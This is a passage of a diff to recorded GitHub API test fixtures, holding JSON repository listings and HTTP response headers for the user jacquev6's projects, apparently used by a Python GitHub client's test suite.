","id":2935252,"html_url":"https://github.com/jacquev6/acme-public-website","full_name":"jacquev6/acme-public-website"},{"clone_url":"https://github.com/jacquev6/C4Planner.git","has_downloads":true,"watchers":1,"updated_at":"2012-02-16T21:51:01Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/C4Planner","url":"https://api.github.com/repos/jacquev6/C4Planner","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":4716,"git_url":"git://github.com/jacquev6/C4Planner.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/C4Planner","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"C4Planner","language":"Python","description":"Caesar IV: anticipate your city","ssh_url":"git@github.com:jacquev6/C4Planner.git","pushed_at":"2011-11-27T20:51:06Z","created_at":"2011-08-24T08:30:55Z","id":2260441,"html_url":"https://github.com/jacquev6/C4Planner","full_name":"jacquev6/C4Planner"},{"clone_url":"https://github.com/jacquev6/DrawTurksHead.git","has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:38:55Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawTurksHead/","url":"https://api.github.com/repos/jacquev6/DrawTurksHead","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":3232,"git_url":"git://github.com/jacquev6/DrawTurksHead.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/DrawTurksHead","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawTurksHead","language":"C++","description":"A tool to draw Turk's Head Knots. Try it online","ssh_url":"git@github.com:jacquev6/DrawTurksHead.git","pushed_at":"2012-04-16T18:38:54Z","created_at":"2010-07-10T08:54:09Z","id":767403,"html_url":"https://github.com/jacquev6/DrawTurksHead","full_name":"jacquev6/DrawTurksHead"},{"clone_url":"https://github.com/jacquev6/DrawSyntax.git","has_downloads":false,"watchers":0,"updated_at":"2011-11-27T14:00:34Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawSyntax/","url":"https://api.github.com/repos/jacquev6/DrawSyntax","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1760,"git_url":"git://github.com/jacquev6/DrawSyntax.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/DrawSyntax","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawSyntax","language":"C++","description":"Draw syntax diagrams from EBNF grammars. API in C++ and Python. Try it online.","ssh_url":"git@github.com:jacquev6/DrawSyntax.git","pushed_at":"2011-11-27T14:00:32Z","created_at":"2010-07-10T08:39:56Z","id":767392,"html_url":"https://github.com/jacquev6/DrawSyntax","full_name":"jacquev6/DrawSyntax"},{"clone_url":"https://github.com/jacquev6/QuadProgMm.git","has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:39:06Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/QuadProgMm","url":"https://api.github.com/repos/jacquev6/QuadProgMm","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":760,"git_url":"git://github.com/jacquev6/QuadProgMm.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/QuadProgMm","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"QuadProgMm","language":"C++","description":"A C++ interface to specify quadratic problems by C++ expressions of your variables. Try it online.","ssh_url":"git@github.com:jacquev6/QuadProgMm.git","pushed_at":"2012-04-16T18:39:05Z","created_at":"2010-07-10T08:36:57Z","id":767386,"html_url":"https://github.com/jacquev6/QuadProgMm","full_name":"jacquev6/QuadProgMm"},{"clone_url":"https://github.com/jacquev6/Boost.HierarchicalEnum.git","has_downloads":false,"watchers":2,"updated_at":"2012-02-20T12:43:24Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/Boost.HierarchicalEnum","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":112,"git_url":"git://github.com/jacquev6/Boost.HierarchicalEnum.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Boost.HierarchicalEnum","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Boost.HierarchicalEnum.git","pushed_at":"2011-11-27T14:00:23Z","created_at":"2010-07-10T08:32:12Z","id":767382,"html_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","full_name":"jacquev6/Boost.HierarchicalEnum"},{"clone_url":"https://github.com/jacquev6/ViDE.git","has_downloads":false,"watchers":0,"updated_at":"2012-04-19T16:35:46Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/ViDE","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1488,"git_url":"git://github.com/jacquev6/ViDE.git","private":false,"open_issues":0,"mirror_url":null,"svn_url":"https://github.com/jacquev6/ViDE","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"ViDE","language":"Python","description":"Vincent's Development Environment","ssh_url":"git@github.com:jacquev6/ViDE.git","pushed_at":"2012-04-19T16:35:45Z","created_at":"2010-07-10T07:33:24Z","id":767343,"html_url":"https://github.com/jacquev6/ViDE","full_name":"jacquev6/ViDE"}] - diff --git a/tests/ReplayData/NamedUser.testGetReposWithAllArgs.txt b/tests/ReplayData/NamedUser.testGetReposWithAllArgs.txt index af0a481ef3..de986ae6ef 100644 --- a/tests/ReplayData/NamedUser.testGetReposWithAllArgs.txt +++ b/tests/ReplayData/NamedUser.testGetReposWithAllArgs.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Thu, 21 May 2020 05:16:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1590041659'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"225fda3e11dd88d655981156434638f6"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'A4F6:133E:4570B0:4F7337:5EC60EC2')] [{"id":767403,"node_id":"MDEwOlJlcG9zaXRvcnk3Njc0MDM=","name":"DrawTurksHead","full_name":"jacquev6/DrawTurksHead","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/DrawTurksHead","description":"Python library to draw Turk's Head knots","fork":false,"url":"https://api.github.com/repos/jacquev6/DrawTurksHead","forks_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/forks","keys_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/teams","hooks_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/events","assignees_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/tags","blobs_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/languages","stargazers_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/subscription","commits_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/merges","archive_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/downloads","issues_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/DrawTurksHead/deployments","created_at":"2010-07-10T08:54:09Z","updated_at":"2020-03-22T14:23:55Z","pushed_at":"2020-03-22T14:23:52Z","git_url":"git://github.com/jacquev6/DrawTurksHead.git","ssh_url":"git@github.com:jacquev6/DrawTurksHead.git","clone_url":"https://github.com/jacquev6/DrawTurksHead.git","svn_url":"https://github.com/jacquev6/DrawTurksHead","homepage":"http://jacquev6.github.io/DrawTurksHead","size":8363,"stargazers_count":3,"watchers_count":3,"language":"Python","has_issues":true,"has_projects":false,"has_downloads":false,"has_wiki":false,"has_pages":true,"forks_count":2,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":2,"open_issues":2,"watchers":3,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true}},{"id":1986874,"node_id":"MDEwOlJlcG9zaXRvcnkxOTg2ODc0","name":"vincent-jacques.net","full_name":"jacquev6/vincent-jacques.net","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/vincent-jacques.net","description":null,"fork":false,"url":"https://api.github.com/repos/jacquev6/vincent-jacques.net","forks_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/forks","keys_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/teams","hooks_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/events","assignees_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/tags","blobs_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/languages","stargazers_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/subscription","commits_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/merges","archive_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/downloads","issues_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/deployments","created_at":"2011-07-02T07:08:56Z","updated_at":"2020-02-14T11:06:58Z","pushed_at":"2020-03-13T22:39:17Z","git_url":"git://github.com/jacquev6/vincent-jacques.net.git","ssh_url":"git@github.com:jacquev6/vincent-jacques.net.git","clone_url":"https://github.com/jacquev6/vincent-jacques.net.git","svn_url":"https://github.com/jacquev6/vincent-jacques.net","homepage":"https://vincent-jacques.net","size":1525,"stargazers_count":0,"watchers_count":0,"language":"Vue","has_issues":false,"has_projects":false,"has_downloads":false,"has_wiki":false,"has_pages":true,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":9,"license":null,"forks":0,"open_issues":9,"watchers":0,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true}},{"id":4835930,"node_id":"MDEwOlJlcG9zaXRvcnk0ODM1OTMw","name":"IpMap","full_name":"jacquev6/IpMap","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/IpMap","description":"HTML5 browsable IP map inspired by http://xkcd.com/195/","fork":false,"url":"https://api.github.com/repos/jacquev6/IpMap","forks_url":"https://api.github.com/repos/jacquev6/IpMap/forks","keys_url":"https://api.github.com/repos/jacquev6/IpMap/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/IpMap/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/IpMap/teams","hooks_url":"https://api.github.com/repos/jacquev6/IpMap/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/IpMap/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/IpMap/events","assignees_url":"https://api.github.com/repos/jacquev6/IpMap/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/IpMap/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/IpMap/tags","blobs_url":"https://api.github.com/repos/jacquev6/IpMap/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/IpMap/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/IpMap/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/IpMap/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/IpMap/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/IpMap/languages","stargazers_url":"https://api.github.com/repos/jacquev6/IpMap/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/IpMap/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/IpMap/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/IpMap/subscription","commits_url":"https://api.github.com/repos/jacquev6/IpMap/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/IpMap/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/IpMap/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/IpMap/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/IpMap/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/IpMap/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/IpMap/merges","archive_url":"https://api.github.com/repos/jacquev6/IpMap/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/IpMap/downloads","issues_url":"https://api.github.com/repos/jacquev6/IpMap/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/IpMap/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/IpMap/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/IpMap/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/IpMap/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/IpMap/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/IpMap/deployments","created_at":"2012-06-29T18:54:23Z","updated_at":"2020-02-12T14:50:54Z","pushed_at":"2017-07-19T17:06:52Z","git_url":"git://github.com/jacquev6/IpMap.git","ssh_url":"git@github.com:jacquev6/IpMap.git","clone_url":"https://github.com/jacquev6/IpMap.git","svn_url":"https://github.com/jacquev6/IpMap","homepage":"http://jacquev6.github.io/IpMap/","size":1196,"stargazers_count":5,"watchers_count":5,"language":"JavaScript","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":4,"license":null,"forks":1,"open_issues":4,"watchers":5,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true}},{"id":6430524,"node_id":"MDEwOlJlcG9zaXRvcnk2NDMwNTI0","name":"MockMockMock","full_name":"jacquev6/MockMockMock","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/MockMockMock","description":"Python mock library focusing on very explicit definition of the mocks' behaviour","fork":false,"url":"https://api.github.com/repos/jacquev6/MockMockMock","forks_url":"https://api.github.com/repos/jacquev6/MockMockMock/forks","keys_url":"https://api.github.com/repos/jacquev6/MockMockMock/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/MockMockMock/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/MockMockMock/teams","hooks_url":"https://api.github.com/repos/jacquev6/MockMockMock/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/MockMockMock/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/MockMockMock/events","assignees_url":"https://api.github.com/repos/jacquev6/MockMockMock/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/MockMockMock/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/MockMockMock/tags","blobs_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/MockMockMock/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/MockMockMock/languages","stargazers_url":"https://api.github.com/repos/jacquev6/MockMockMock/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/MockMockMock/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/MockMockMock/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/MockMockMock/subscription","commits_url":"https://api.github.com/repos/jacquev6/MockMockMock/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/MockMockMock/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/MockMockMock/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/MockMockMock/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/MockMockMock/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/MockMockMock/merges","archive_url":"https://api.github.com/repos/jacquev6/MockMockMock/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/MockMockMock/downloads","issues_url":"https://api.github.com/repos/jacquev6/MockMockMock/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/MockMockMock/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/MockMockMock/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/MockMockMock/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/MockMockMock/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/MockMockMock/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/MockMockMock/deployments","created_at":"2012-10-28T18:23:07Z","updated_at":"2018-09-08T08:15:47Z","pushed_at":"2018-09-08T08:15:45Z","git_url":"git://github.com/jacquev6/MockMockMock.git","ssh_url":"git@github.com:jacquev6/MockMockMock.git","clone_url":"https://github.com/jacquev6/MockMockMock.git","svn_url":"https://github.com/jacquev6/MockMockMock","homepage":"","size":160,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":2,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":2,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true}},{"id":6518903,"node_id":"MDEwOlJlcG9zaXRvcnk2NTE4OTAz","name":"ActionTree","full_name":"jacquev6/ActionTree","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/ActionTree","description":"Python library executing long concurrent actions with inter-dependencies","fork":false,"url":"https://api.github.com/repos/jacquev6/ActionTree","forks_url":"https://api.github.com/repos/jacquev6/ActionTree/forks","keys_url":"https://api.github.com/repos/jacquev6/ActionTree/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/ActionTree/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/ActionTree/teams","hooks_url":"https://api.github.com/repos/jacquev6/ActionTree/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/ActionTree/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/ActionTree/events","assignees_url":"https://api.github.com/repos/jacquev6/ActionTree/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/ActionTree/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/ActionTree/tags","blobs_url":"https://api.github.com/repos/jacquev6/ActionTree/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/ActionTree/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/ActionTree/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/ActionTree/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/ActionTree/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6